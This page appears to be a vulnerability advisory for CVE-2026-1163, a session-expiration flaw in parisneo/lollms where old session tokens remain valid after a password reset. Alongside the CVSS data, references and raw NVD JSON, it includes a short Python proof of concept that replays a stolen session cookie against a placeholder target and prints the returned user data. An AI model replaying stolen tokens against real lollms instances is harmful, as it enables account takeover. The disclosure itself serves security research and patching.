CVE-2026-1163

Description

An insufficient session expiration vulnerability exists in the latest version of parisneo/lollms. The application fails to invalidate active sessions after a password reset, allowing an attacker to continue using an old session token. This issue arises due to the absence of logic to reject requests after a period of inactivity and the excessively long default session duration of 31 days. The vulnerability enables an attacker to maintain persistent access to a compromised account, even after the victim resets their password.

CVSS Details

CVSS Score

4.1

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

parisneo/lollms (最新版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Conceptual PoC for CVE-2026-1163
# This script demonstrates that an old session token remains valid after a password reset.

target_url = "http://target-lollms-instance/api/user/profile"
# Old session token obtained before password reset
stolen_session_cookie = {"session_id": "attacker_stolen_token_value_12345"}

def check_session_validity():
    response = requests.get(target_url, cookies=stolen_session_cookie)
    if response.status_code == 200:
        print("[+] Exploit Successful: Old session token is still valid after password reset.")
        print("[+] User Data:", response.text)
    else:
        print("[-] Exploit Failed: Session invalidated.")

if __name__ == "__main__":
    check_session_validity()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1163
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1163
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1163/
[4] VulDB https://vuldb.com/cve/CVE-2026-1163
[5] https://huntr.com/bounties/abe2d1c4-c21c-4608-8a8e-274565246a8b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1163", "sourceIdentifier": "[email protected]", "published": "2026-04-08T03:16:07.500", "lastModified": "2026-04-30T16:16:23.063", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insufficient session expiration vulnerability exists in the latest version of parisneo/lollms. The application fails to invalidate active sessions after a password reset, allowing an attacker to continue using an old session token. This issue arises due to the absence of logic to reject requests after a period of inactivity and the excessively long default session duration of 31 days. The vulnerability enables an attacker to maintain persistent access to a compromised account, even after the victim resets their password."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.7, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://huntr.com/bounties/abe2d1c4-c21c-4608-8a8e-274565246a8b", "source": "[email protected]"}]}}